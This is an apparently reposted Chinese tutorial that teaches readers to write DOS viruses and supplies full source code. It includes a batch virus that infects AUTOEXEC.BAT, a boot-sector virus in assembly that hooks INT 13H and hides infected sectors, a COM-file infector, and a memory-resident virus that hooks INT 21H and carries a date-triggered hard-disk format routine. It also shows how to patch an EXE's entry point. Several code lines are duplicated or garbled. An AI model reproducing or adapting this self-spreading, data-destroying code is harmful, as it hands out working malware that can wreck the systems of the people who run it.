第1章 假想的病毒程序
假如您对病毒的了解象人们对尼斯湖怪的了解一样少,那么读了下面的程序,你会发现怪?
一个批处理病毒
你第一次用批处理编程序是在几年前?你是否想象过下面的批处理也是一个病毒?
@ECHO OFF
REM 文件名 VIRUS.BAT
REM 本病毒感染自动执行批处理文件
IF DRIVE=="A:\" GOTO END123
IF DRIVE=="C:\" GOTO END123
IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\
IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\
IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123
COPY VIRUS.BAT %DRIVE%>NUL
ECHO CALL VIRUS>TMP.DAT
COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL
DEL TMP.DAT>NUL
: END123
ECHO ON
第2章 学会编写自己的病毒程序
教授如何编写病毒是一个很敏感的话题。这会不会引起病 泛滥?到底有 有学
习编写病毒的必要?这就牵涉到一个问题,引起病 痉豪牡脑 因到底是什么?是
因为会编写病毒的人太多还是因为懂得对付病毒的人太少?当骗子到处横行,我
们到底应该让每个人都懂得骗子行骗的手段以防止受骗还是应该隐瞒骗子的行径
呢?使人们懂法是否是教唆人们违法呢?
怎样编写主引导记录和BOOT区病毒
什么是主引导记录?主引导记录存放在何处?主引导记录是用来装载硬盘活动分
区的BOOT扇区的程序。主引导记录存放于硬盘0道0柱面1扇区,长度最大为一个
扇区。从硬盘启动时,BIOS引导程序将主引导记录装载至0:7C00H处,然后将控
制权交给主引导记录。
一般的,BOOT区病毒存在于软盘。因为软盘不存在分区,可以将其看成为软盘的
主引导记录。软盘的BOOT区存在于其0道0面1扇区,长度为一个扇区。
一般的主引导记录病毒的原理。
一般的,这类病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引
导记录。启动时,当病毒体得到控制权,在做完了自己的处理后,病毒将保存的
原主引导记录读入0:7C00,然后将控制权交给原主引导记录进行启动。这类病毒
对硬盘的感染一般是在用带毒软盘启动的时候,对软盘的感染一般是在当系统带
毒时对软盘操作时。
编写主引导记录病毒需要了解的几点
1、用什么来保存原始主引导记录。
众所周知的,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也
可以使用文件存储被覆盖的引导记录呢?答案是否定的。
由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,而
只能使用BIOS的功能调用或者使用直接的IO设计。一般的,使用BIOS的磁盘服务
将主引导记录保存于绝对的扇区内。由于零道零面二扇区是保留扇区,因而通常
使用它来保存。
2、需要掌握的BIOS磁盘服务功能调用。
INT 13H 子功能 02H 读扇区
其调用方法为:
入口为:
AH=02H
AL=读入的扇区数
CH=磁道号
CL=扇区号(从1开始)
DH=头号
DL=物理驱动器号
ES:BX-->要填充的缓冲区
返回为: 当CF置位时表示调用失败
AH=状态
AL=实际读入的扇区数
INT 13H 子功能03H写扇区
其调用方法为:
入口为:
AH=03H
AL=写入的扇区数
CH=磁道号
CL=扇区号(从1开始)
DH=头号
DL=物理驱动器号
ES:BX-->缓冲区
返回为: 当CF置位时表示调用失败
AH=状态
AL=实际写入的扇区数
3。这类病毒通过什么来进行感染
通常的,这类病毒通过截获中断向量INT 13H 进行系统监控。当存在有关于软盘或硬盘
的磁潭列词保?病毒将检测其是否干净,若尚未感染则感染之。
4。驻留的位置
位置在40H:13H,单位为KB。病毒体存在于最后的几K内存中。
一个主引导记录病毒例子
int13 macro
pushf
Call dword Ptr cs:Old13H
endm
jmp13 macro
Jmp dword Ptr cs:Old13h
endm
.286
code segment
assume cs:code,ds:code
Org 100h
start:
org 7c00h
;start:
jmp short begin
db 20h dup (0)
db 'WN'
begin:
xor ax,ax
xor ax,ax
Mov es,ax
Push Word Ptr es:[13h*4]
Pop Word Ptr cs:Old13h
Push Word Ptr es:[13h*4+2]
Pop Word Ptr cs:Old13h+2
mov ah,04h
int 1ah
cmp dl,5
jne datenot1
cmp dh,12h
jne datenot1
call printmsg
datenot1:
push cs
pop ds
mov ax,40h
mov es,ax
dec word ptr es:[13h] ;减少基本内存1K
mov ax,es:[13h]
mov cl,6 ;2&10 /2&4
shl ax,cl ;得到段址
mov es,ax
mov es,ax
mov cx,200h ;512 bytes a sector
mov si,7c00h ;The begin offet
mov di,0
cld
rep movsb
Mov ax,es
Sub ax,7c0H
Push ax
Mov ax,Offset TheNextCommand
Push ax
mov ax,es
sub ax,7c0h ;The segment of the president
mov es,ax
mov bx,0
mov ds,bx
mov word ptr ds:[13h*4],offset newint13h
mov word ptr ds:[13h*4+2],ax
RetF
Old13h dd ?
TheNextCommand:
mov ax,0201h
mov cx,2
mov cx,2
Cmp cs:TheDrive,80h
Je Hardisk
mov cx,4f0fh ;If is the floppy disk
Hardisk:
mov dh,0
Mov dl,cs:TheDrive ;The drive is 0 or 80h
Mov bx,0
Mov es,bx
Mov bx,7c00H
int13
Mov ax,0
Push ax
Mov ax,7c00h
Push ax
RetF
newint13h:
cmp ax,0201h
je Isreadsector
Jmp13
IsReadSector:
cmp cx,1
jne notreadsector
cmp dh,0
jne notreadsector
Call Readsector
Jne gotoEnd
;Cmp dl,cs:TheDrive
;Jne NotReadSector ;If the DISK is the boot disk
push cx
mov cx,2
Cmp dl,80h
Jae HardRead
mov cx,4f0fh
HardRead:
int13 ;制造未感染假象
pop cx
RetF 2
notreadsector:
call readsector
je effected
call effect
effected:
gotoEnd:
jmp13
jmp13
readsector:
pusha
mov ax,0201h
mov dh,0
mov cx,1
int13 ;Use the read buffer as the old buffer
cmp word ptr es:[bx+20h+2],'NW'
popa
retn
effect:
pusha
mov ax,0301h
mov dh,0
mov cx,2
Cmp dl,80h
Jae Hardeffect
mov cx,4f0fh
Hardeffect:
int13 ;Backup the old boot record
Mov SI,BX
Add SI,1b0h
Push ES
Push ES
Pop DS
Push cs
Pop ES
Mov DI,7C00H+1b0H
Mov Cx,50h
CLD
REP MovSB
Mov SI,BX
add SI,2
Mov DI,7c00H+2
Mov Cx,20h
Cld
Rep movsb
mov ax,0301h
mov cx,1
mov dh,0
push cs
pop es
Push ax
Mov al,cs:TheDrive
Mov cs:TheDriveSave,Al ;Backup theDrive
Pop ax
Pop ax
Mov cs:TheDrive,DL
And cs:TheDrive,0FEH ;Set the 0 bit to zero
mov bx,7c00h
int13 ;Write The Virus to sector 1
Mov al,cs:TheDriveSave
Mov cs:TheDrive,al ;Restore TheDrive
popa
retn
printmsg Proc Near
mov si,offset msg
push cs
pop ds
mov ah,0eh
cld
printgoon:
lodsb
cmp al,0
je printend
int 10h
jmp printgoon
printend:
jmp $
jmp $
msg db 'Don''t work today.',0
TheDrive db 80h
TheDriveSave db ?
org 7dfeh
db 55h,0aah
PrintMsg endp
code ends
end start
{这个程序用来处理以上病毒程序,使其成为一个256字节的从7C00H开始的二进制文件}
Program C2V;
Var
F,F1:File of char;
CH:Char;
Begin
assign(F,paramstr(1));
Reset(F);
Assign(F1,Paramstr(2));
Rewrite(F1);
seek(F,$7B00);
While Not Eof(F) do
Begin
Read(F,CH);
Read(F,CH);
Write(F1,CH);
end;
Close(F);
Close(F1);
End.
.title INFECT.ASM
Comment~
本程序是用来 原始感染
~
Code segment
assume cs:code,ds:code
org 100h
start:
mov ax,0201h
Mov Bx,Offset TheBuf
mov cx,1
Mov dx,80H
Int 13h
Mov ax,0301h
Mov CX,2
Int 13h
Mov ax,3d00h
Mov ax,3d00h
Mov Dx,Offset FileName
Int 21h
Jnc @@1
mov dx,offset OpenError
mov ah,9
int 21h
mov ah,4ch
int 21h
@@1:
Mov Handle,ax
Mov Bx,ax
Mov ah,3fh
mov cx,512
mov dx,Offset fileBuf
Int 21h
Mov Di,Offset FileBuf+2
Mov SI,Offset TheBuf+2
Cld
Mov Cx,20h
Rep Movsb
Mov Di,Offset FileBuf+1b0h
Mov Si,Offset TheBuf+1b0h
Mov cx,50h
Cld
Rep movsb
Mov Bx,Offset FileBuf
Mov Cx,1
Mov dx,80h
Mov ax,0301h
int 13h
Mov Bx,Handle
Mov ah,3eh
Int 21h
mov ah,4ch
int 21h
TheBuf db 512 dup (0)
FILEBuf db 512 dup (0)
Handle dw 0
OpenError db 'The file Viru.bin not found!',07h,0dh,0ah,'$'
filename db 'Viru.bin',0
code ends
end start
怎样编写可执行文件型病毒
可执行文件型病毒是DOS病毒中的大家族,也是病毒编写专家们用以炫耀自己的聪
明才智的时候。感染处理千奇百怪,传染方案数不胜数,不亚于春秋战国时期的诸子
百家争鸣,病毒大概是"病毒安全专家们"编出来的吧。理由有一:安全专家们靠处理病毒为生,有编写的能力;二:安全专家们自己会编写病毒,却极力反对别人学习病毒,免得饭碗被抢,有编写病毒的嫌疑。下面让我们来看看可执行文件病毒的编程方法,其简单程度可以让 用晒 骗的病毒专家们汗颜。我编写的最小的文件型病毒大约只有100多行汇编代码,如果我象某些杀毒专家一样,按照平均30分钟一个病毒,恐怕这几年我要成为最大的杀毒英雄了。可执行文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒,源码病毒,甚至我们入门举的BAT病毒和现在流行的WORD宏病毒,下面我们所述的只包括狭义的可执行文件病毒-----即COM型和EXE型病毒。
编写COM型病毒和EXE型病毒非常地简单,我们先来了解COM文件和EXE文件的结构吧。
如何修改可执行文件?
COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22西文版中的more.com来做实验。
C:\>debug more.com
-u
-u
0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容
0CA4:0103 BA3008 MOV DX,0830
0CA4:0106 3BC4 CMP AX,SP
0CA4:0108 7369 JNB 0173
0CA4:010A 8BC4 MOV AX,SP
0CA4:010C 2D4403 SUB AX,0344
0CA4:010F 90 NOP
0CA4:0110 25F0FF AND AX,FFF0
0CA4:0113 8BF8 MOV DI,AX
0CA4:0115 B9A200 MOV CX,00A2
0CA4:0118 90 NOP
0CA4:0119 BE7E01 MOV SI,017E
0CA4:011C FC CLD
0CA4:011D F3 REPZ
0CA4:011E A5 MOVSW
0CA4:011F 8BD8 MOV BX,AX
-r
AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC
0CA4:0100 B8371E MOV AX,1E37
-a af1
0CA4:0AF1 mov ah,0
0CA4:0AF3 int 16 ;等待按键
0CA4:0AF5 cmp al,1b ;等待ESC键
0CA4:0AF7 jnz af1
0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节
0CA4:0AFF mov byte ptr [102],1e
0CA4:0B04 push cs ;进栈CS:100
0CA4:0B05 mov si,100
0CA4:0B08 push si
0CA4:0B09 retf ;RetF回到CS:100,程序开始处
0CA4:0B0A
-a 100
0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块
0CA4:0103
-rcx
CX 09F1
:a0a
-w
Writing 00A0A bytes
-q
修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单:
1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
2、最先执行添加的程序(相当于病毒模块),等待ESC键
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序)
好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。
EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。
要了解EXE文件,首先需要了EXE的文件头结构。
(大家先去wenyue.yeah.net下载一份HELPSTAR吧。上面有许多有关的东西。)
Exe file header format
Offset size Description
00 2 bytes .EXE Type Flag,4d5ah
02 2 bytes Bytes in the last page(512 bytes/page)
04 2 bytes pages of the .EXE file(Include exeheader)
06 2 bytes ReAllocation number
08 2 bytes Exeheader size(16 bytes*this value)
0a 2 bytes MinAlloc
0c 2 bytes MaxAlloc
0e 2 bytes The init stack segment
10 2 bytes The int stack pointer
12 2 bytes Checksum
14 2 bytes Code pointer
16 2 bytes Code segment
18 2 bytes The offset of reallocation table
1a 2 bytes The overlay number make by link
聪明的人应该一眼就能分辨出我们最感兴趣的部分了,偏移14和16,这两个东东简直太重要了。它们表示了程序的执行代码入口地址。
DOS对EXE采取重定位的方法,重定位在很多DOS高级编程的书上都会提到,假使你还没有了解,我来打个比方:我比小明高5公分。那么小明如果170CM,那么我有175CM,如果小明180CM,我有185CM。Code segment就是这个5公分。DOS下面可以加载很多TSR或者驱动程序,我们无法知道一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。
还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。
那么我们可以这样来修改一个EXE文件:
把EXE文件的最后先填满16个字节(为了段对齐),把自己的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100H=16*16)好了,自己做个实验吧,在执行完这段代码的时候记得返回到PSP+OldSeg :OldIP。
如何进行病毒的传播?
一个病毒如果不能传播,那就不成为病毒,我们叫做木马,就象上面我们修改成的MORE。COM。怎样传播的这个问题其实就是把手工传播的方法编写成程序,让其自己进行感染。这个模块的编写比较费时间,但是无非是一些文件读写操作,大家自己可以慢慢地调试,慢慢地写。
病毒传播的途径
传播模块编写好了,现在该看哪时候应该传播,怎么样传播才会不被发觉,怎么样传播才能得到最大的传播效率。
现在文件型病毒基本上有如下传播方式:
1, 通过查目录进行传播。
截获INT 21H 功能的11H和12H。
这样DIR的时候你就可以获得控制权了。
2, 通过执行进行传播。
截获INT 21H 4B子功能。
这样每个可执行文件在执行的时候都逃不过你的眼睛。
3, 通过文件查找进行传播。
截获INT 21H 4E,4F子功能。
这样有人使用象TC,TP等编程工具查找文件的时候逃不过你的眼睛。
4, 通过文件关闭的时候进行传播。
即使你现在正在编译,当执行文件生成后关闭的时候也可以感染。
5,自己加载的时候 。。。。。。。
总之,传播方式多种多样,叫人难以防备,至于采取哪种方法,这是你自己的本事了。
病毒的破坏部分
这个问题似乎不应该探讨,但我想还是有必要谈谈。
一个病毒破坏能力大,是不是就算一个好病毒?我想一运行就格式化的病毒永远都流传不了,因为它根本就无法流传。病毒的发作基本都有其条件,传统的通过判断时间来发作。这不一定是一种好办法,我想这种病毒几乎没有任何危害,除非编写的病毒技巧不高,往往还没有到发作的时间,很多被感染的文件就已经被感染坏了而不能执行。现在哪会有一种病毒会出现到感染之前还没有杀毒软件呢?所以有很多种病毒采用不断地破坏的方法,例如当前的时间日期求个和,作为要破坏的目标判断标志。。。。当然这和病毒的 长度有矛盾,算法越复杂,病毒越大,也越容易被发现。
病毒的编程就先介绍到这里了。
下面我给出我自己编写的两个COM病毒的例子(和一般的不同,病毒感染在程序前面)和一个可执行文件(EXE,COM)保护程序(防感染程序),后一个虽然不是病毒,但是却也属于病毒范畴。两个COM类型的病毒中有一个比较大,属于真正的病毒类,通过DIR进行感染,另外一个则只有120行,却也五脏具全,每次执行的时候感染,大家可以借鉴一下。
下面该是大家读懂例子,练兵的时候啦。如果有不懂的地方需要解答,我会尽力,如果大家对我写得这么仓卒而不满意,我可以花点时间整理今后再继续
一个最小的病毒程序
不驻留内存
每次执行的时候感染当前目录的COM文件
Macro:Pmain,Pend,Pushall,Popall见另外一个例子
这只是一个模拟病毒程序
在两个COM类型的病毒例子中我都采用感染在
前面的方法,然而真实的病毒大部分采用
附加在后面的办法
附加在后面有两种处理方式
一种是修改前三个字节直接JMP 到病毒程序
这样OFFSET都发生了变化
例如本来在病毒程序中的100H
可能变成1112H,等等
你的程序需要做如下改动:
把宿主程序的长度作为相对偏移放入BX中
每次访问数据采用这种形式mov ax,mybuf[BX]
当然第一次感染的时候BX为0
或者你可以采用段对齐的办法
修改宿主的前几个字节为
Mov ax,cs
Add ax,(SUZHULen+15)/16 -16
Push ax
Mov ax,100h
Push ax
Retf
这样你可以使得你的病毒程序入口依然保持在100H
但是既然只是演示病毒的编写方法,
我们的目的只是让大家认识病毒为何物,
取消对病毒的畏惧,并且讨论病毒的杀除办法
所以我的病毒例子并不计较太多的方法。
~
Include stdio.h
Include PushPop.asm
Pmain
db 0EBH,00 ;病毒感染标志,JMP 102
Mov ah,9
Mov Dx,Offset MSG
Int 21h ;发作部分,显示信息
Push SaveSize
Pop SaveSize_ ;保存上次保存的部分
Mov ah,1ah
Mov ah,1ah
Push cs
Pop ds
Mov Dx,Offset DTABUF
Int 21H ;设置DTA的指针
Mov ah,4eh
Mov Cx,4fh
Mov Dx,Offset FindName
Int 21h ;开始查找COM文件
NextFind:
JC SearchEnd
Mov Dx,Offset DTABUF+30
Mov ax,3d02h
Int 21h ;DTABUF+30为查找出的文件名存贮位置
JC SearchEnd_
Mov FileHandle,AX
Call Effect ;感染
SearchEnd_:
Push cs
Pop ds
Mov ah,4fh
Int 21h
JMP NEXTFIND
JMP NEXTFIND
SearchEnd:
Mov ah,1ah
Push cs
Pop ds
Mov Dx,80h
Int 21h ;设回DTA的指针
Mov SI,SAVESIZE_
ADD SI,100h
Mov DI,100H ;把保存的宿主代码移动到100H
Push cs
Pop ds
Push cs
Pop es
Mov ax,100h
Push ax
CLD
Mov Cx,Offset EndFile-100H
Rep Movsb
Retn
Effect Proc Near ;病毒感染程序与另外一个例子类似
Pushall ;不再注释
Push cs
Push cs
Pop ds
Mov BX,FileHandle
Mov CX,Offset EndFile-100H
Mov AX,9000H
Mov DS,AX
Mov Dx,0
Mov ah,3fh
Int 21h
Cmp Word Ptr DS:[0],00EBH
JNZ NotEFFECT
Mov ah,3eh
Mov Bx,cs:FileHandle
Int 21h
Popall
Ret
NOTEFFECT:
Push cs
Pop ds
Mov Bx,FileHandle
Mov ax,4202h
Mov Cx,0
Mov Dx,0
Mov Dx,0
Int 21h
Mov SAVESIZE,AX
Mov Bx,FileHandle
Mov ah,40h
Mov Cx,Offset EndFile-100h
Mov Dx,0
Mov Bx,9000H
Mov DS,BX
Mov Bx,cs:FileHandle
Int 21h
Push cs
Pop ds
Mov AX,4200h
Mov Cx,0
Mov Dx,0
Mov BX,FileHandle
Int 21h
Mov ah,40h
Mov CX,Offset EndOfFile-100h
Mov DX,100h
Mov Bx,FileHandle
Int 21h
Int 21h
Mov ah,3eh
Mov Bx,FileHandle
Int 21h
Popall
Ret
Effect Endp
FindName db '*.COM',0
FileHandle dw 0
DTABUF db 80h dup (0)
SAVESIZE dw EndOfFile-100h
SaveSize_ dw 0
MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$'
EndOffile:
ENDfile:
Mov ax,4c00h
Int 21h
Pend
编写的第一个病毒
,当然我没有拿出去感染。(这是很重要的:))
这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。
这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是FCB方式的Findfirst,findnext同时截获4E,4F(FINDFIRST,FINDNEXT)感染病毒发作于1月19日,发作方式为格式化硬盘(但是好象当年编写错了,不能破坏现在的微机:))病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,然后把病毒本身覆盖于宿主前面所有注释都是为大家新加的,我写ASM以前没有注释的习惯
请在MASM5下编译
~
;Include stdio.h ;中间包括pmain,pend,retms
retms macro
mov ax,4c00h
Int 21h
Endm
pmain macro
code segment
assume cs:code,ds:code
org 100h
start:
endM
pend macro
code ends
end start
endM
theSize equ offset endit-100h ;病毒的长度=最后的偏移减去PSP的长度
addnum equ thesize+200
wpt equ word ptr
bpt equ byte ptr
filebufofs equ offset endit + 100
Stackofs equ offset endit
GetDta macro ;这个Macro得到DTA的指针
mov ah,2fh
int 21h ;FCB方式的很多东西都保存在DTA中间。
push es
pop ds
push bx
pop si
pop si
EndM
pushAll macro ;保存寄存器的MACRO
Irp reg,
PUSH REG
ENDM
POPALL MACRO ;恢复寄存器的MACRO
iRP REG,
POP REG
ENDM
;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa
Dta Struc ;Data transfer Area的结构,对于感染而言可以得到文件名
reServed db 21 dup(?)
Attr db ?
Time dw ?
Date dw ?
fileSize dd ?
filename db 13 dup (?)
FreeName db ?,?,?
Dta ends
pmain
Jmp begin
thebegin dw offset endit
begin:
mov ax,0ffeeh ;这是我的病毒驻留标志判断
int 21h
cmp ax,0eeffh ;返回为0EEFF表示已经驻留
je installed
mov cs:ShowFlag,-1
mov ah,2ah ;看看当前日期
int 21h
cmp dl,19 ;19号?
jne next
cmp dh,1 ;1月?
jne NotformatHdisk
mov cs:ShowFlag,0
NotformatHdisk:
Call Show ;惨了,我要格式化硬盘了
Next:
xor ax,ax
mov es,ax
mov ax,es:[21h*4+2]
mov bx,es:[21h*4]
mov wpt cs:old21+2,ax
mov wpt cs:old21,bx ;保存老的INT 21H的中断向量
call getaddress ;把病毒代码移动到高端
mov ax,cs:addr
mov bx,offset int21h
cli
xor cx,cx
mov es,cx
mov es:[21h*4],bx
mov es:[21h*4+2],ax ;把INT 21H的控制权交给病毒
sti
installed:
mov ax,cs
mov ds,ax
mov es,ax
mov si,thebegin
mov di,100h
mov cx,thesize ;恢复100H开始处被破坏的指令
cld
rep movsb
jmp Start ;跳转回100H,转宿主执行
;注意:可能应该Push cs,
;Mov ax,100h,Push ax,retf
DtaSave Dta <> ;保存DTA的缓冲区
addr dw ?
Flag db 0
SaveSS dw ?
SaveSP dw ?
dtaSize equ 43 ;Dta的大小为43个字节
Handle dw ? ;将来用到的文件Handle
NextFlag db ?
getaddress proc near ;病毒驻留模块
mov ax,cs
dec ax
mov es,ax ;得到MCB (Memory Control Block)的段值
mov ax,es:[3] ;得到MCB的块大小
mov bx,offset endit ;
add bx,addnum ;
add bx,15 ;
mov cl,4 ;
shr bx,cl ;
sub ax,bx ;把MCB的块大小减少(病毒的长度*2 + 200)
mov es:[3],ax ;这样留出的空间给病毒程序和病毒读写的文件缓冲
mov bx,cs
mov bx,cs
add ax,bx
mov cs:addr,ax
mov es,ax ;得到病毒驻留空间的段值
xor si,si
xor di,di
push cs
pop ds
mov cx,offset endit
cld
rep movsb ;把病毒代码移到留出的空间位置
ret
getaddress endp
old21 dd ?
int24h proc far
mov al,0
mov cs:Flag24h,-1 ;防止出现严重错误
Iret
Flag24h db 0 ;例如出现感染写保护出现的提示
int24h endp
CH24h proc near ;替换INT 24H
xor ax,ax
mov es,ax
mov es,ax
mov ax,es:[24h*4]
mov bx,es:[24h*4+2]
mov wpt cs:old24,ax
mov wpt cs:old24+2,bx
mov bx,cs
mov ax,offset int24h
mov es:[24h*4],ax
mov es:[24h*4+2],bx
ret
Ch24h endp
Res24 proc near ;还原INT 24H
xor ax,ax
mov es,ax
mov ax,wpt cs:old24
mov bx,wpt cs:old24+2
mov es:[24h*4],ax
mov es:[24h*4+2],bx
ret
Res24 endp
old24 dd ?
int21h proc far ;感染监控核心部分,INT 21H处理
sti
sti
cmp ax,0ffeeh ;病毒驻留标志
jne next21h
mov ax,0eeffh ;返回已经驻留
Iret
next21h:
cmp ah,4fh ;是FindNext吗?
je findnext
cmp ah,12h ;是FCB方式的FindNext吗?
jne outInt21h
mov bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext
Jmp FindNext1
outInt21h:
jmp cs:old21
findnext:
mov cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext
findnext1:
mov cs:Flag24h,0 ;
mov cs:SaveSS,ss
pushAll
mov cs:SaveSP,SP ;保存SS,SP,然后切换堆栈
mov ds,cs:SaveSS ;保证DOS重入成功
mov si,sp
mov si,sp
mov ax,cs
mov es,ax
mov di,StackOfs
cld
mov cx,50
rep movsw ;保存50个字的堆栈,我的TSR经常使用
mov ax,cs
mov ss,ax
mov sp,100h ;切换堆栈
GetDTA ;DS:SI --> DTA adress ;得到DTA的指针
push cs
pop es
mov di,offset DTASave
mov cx,DTASize
cld
rep movsb ;保存起DTA的数据
call ch24h ;修改INT24H,保障不出严重错误
cmp bpt cs:NextFlag,1 ;以4F方式的DTA为摸版
je NotCHangeDta
call ChangeDta ;如果是标准DTA方式扩展成扩展DTA
NotCHangeDta:
call cmpifcomFile ;判断当前查的文件是否COM文件
cmp al,0
jne Hasbeen
Call cmpifbeen ;是COM文件判断是否被感染
cmp al,0
jne Hasbeen
cmp cs:Flag24h,-1 ;出现严重错误,放弃感染
je HasBeen ;
Call dofile ;否则感染之
Hasbeen:
call Res24 ;恢复INT24H
cli
push cs
pop ds
mov es,cs:SaveSS
mov si,StackOfs
mov di,cs:SaveSP
cld
mov cx,50
rep movsw ;恢复堆栈
mov ss,cs:SaveSS
mov Sp,cs:SaveSp ;恢复堆栈寄存器
sti
sti
PopAll
Jmp cs:old21 ;转原INT 21H处理程序
Int21h endp
Cmpifcomfile proc near
mov si,offset DtaSave.filename
LoopCMp:
cmp bpt cs:[si],0
je OutCmp
inc si
jmp loopCmp
Outcmp:
cmp bpt cs:[si-1],'M'
jne notComfile
cmp bpt cs:[si-2],'O'
jne notComfile
cmp bpt cs:[si-3],'C'
jne notComfile
cmp bpt cs:[si-4],'.' ;比较文件扩展名是否为.COM
jne notComfile
mov al,0
ret
notComfile:
notComfile:
mov al,-1
ret
Cmpifcomfile endp
cmpifbeen proc near ;看是否已经被感染
push cs
pop ds
mov dx,offset DtaSave.filename
mov ax,3d00h
int 21h
jc been
mov cs:handle,ax
mov ah,3fh
mov bx,cs:handle
mov cx,2
mov dx,FILEBUFOFS
int 21h
mov ah,3eh
mov bx,cs:handle
int 21h
mov si,100h
mov ax,ds:[si]
mov si,FIleBufOfs
mov bx,ds:[si]
cmp ax,bx ;判断感染标志,(最前两字节)
je Been
mov al,0
ret
been:mov al,-1
ret
cmpifbeen endp
Dofile proc near ;病毒感染模块,文件处理过程。
mov ax,4300h
push cs
pop ds
mov dx,offset DtaSave.filename
int 21h
and cl,100111b
mov DtaSave.attr,cl
and cl,100b
jnz Out1 ;Sys file
mov ax,4301h
mov dx,offset DTASave.filename
mov cx,0 ;清除文件属性
int 21h
jnc replaceOk
Out1:
Ret
ReplaceOk:
cmp cs:Flag24h,-1 ;
je Out1 ;
mov ax,3d02h ;读写方式打开文件
int 21h
jc Out1
mov cs:handle,ax
mov ah,3fh
mov bx,cs:handle
mov cx,thesize
push cs
pop ds
mov dx,filebufOfs
int 21h ;将最前一段(大小为病毒大小)
jnc condowrite ;读出来
mov Dx,offset DtaSave.filename
mov Cl,cs:dtaSave.Attr
xor ch,ch
mov Ax,4301h ;恢复文件属性
int 21h
Ret
Condowrite:
mov ax,4202h
mov bx,cs:handle
xor cx,cx
xor dx,dx
int 21h ;移动文件指针到最后
add ax,100h
mov cs:thebegin,ax
mov dx,fileBufofs
mov cx,theSize
mov bx,cs:handle
mov ah,40h
int 21h ;把保存的宿主前面的代码写到
mov ax,4200h ;文件末尾
xor cx,cx
xor dx,dx
mov bx,cs:handle
int 21h ;移动文件指针到最前
mov dx,100h
mov ah,40h
mov ah,40h
mov cx,theSize
mov bx,cs:handle
int 21h ;把病毒体写入文件开头处
mov ah,3eh
mov bx,cs:handle
int 21h ;关闭文件
mov dx,offset DtaSave.filename
xor ch,ch
mov cl,cs:DtaSave.Attr
mov ax,4301h
int 21h ;恢复文件属性
mov al,0
ret
Dofile endp
CHangeDta proc near ;由于4F和12H方式DTA有差别
mov ah,cs:DtaSave.reserved+7
cmp ah,0 ;为了同等对待
jne NotCur ;把12H方式的DTA格式按
;4FH方式转换
;两种DTA方式的DTA格式请
;参考我的HELPSTAR中的说明
push cs
pop ds
mov ah,19h
int 21h
mov ah,al
Inc ah
NotCur:
add ah,'A'-1
mov cs:DtaSave.filename,ah
mov ah,':'
mov cs:dtaSave.filename+1,ah
push cs
pop ds
mov si,offset DtaSave+1+7
push cs
pop es
mov di,offset DtaSave.filename+2
mov cx,8
cld
LoopCh:
lodsb
cmp al,' '
je outLoopCh
dec si
movsb
loop loopCh
outLoopCh:
mov al,'.'
mov es:[di],al
inc di
mov si,offset DtaSave+9+7
mov cx,3
LoopCh1:
lodsb
cmp al,' '
je outLoopCh1
dec si
movsb
loop loopCh1
outLoopCh1:
xor ah,ah
mov es:[di],ah
mov cs:dtaSave.Attr,ah
Ret
CHangeDta endp
CHangeDta endp
Show Proc near ;病毒发作模块
push cs
pop ds
mov Dx,offset ShowMsg
mov ah,9
int 21h ;提示信息
Call form ;格式化程序
Ret
Show endp
ShowMsg db 07h,'My dear XLM:',0ah,0dh
db ' Happy birthday and happy a new year !',0ah,0dh,0ah,0dh
db ' Yours LEM .',0ah,0dh
db 0ah,0dh,'$'
ShowFlag db -1
form proc near
jmp Star_1
format_msg db 0,0,0,2 ;0-39,0-1,0-8
db 0,1,1,2
db 0,0,2,2
db 0,1,3,2
db 0,0,4,2
db 0,1,5,2
db 0,1,5,2
db 0,0,6,2
db 0,1,7,2
db 0,0,8,2
star_1:
mov ax,cs
mov es,ax
mov ds,ax
mov bx,offset format_msg
mov ah,5
mov al,0ffh
mov dl,80h
mov dh,0
mov cx,0
PushF
db 9ah ;Call AbsInt13Adr
dd 0f000CC78h ;INT 13的绝对地址
Ret ;去掉Ret则自动重启动
db 0EAH
dd 0F000FFF0h ;重新启动
form endp
Endit:
retms ;返回DOS,对于第一次感染有用
pend
本文地址:http://com.8s8s.com/it/it25382.htm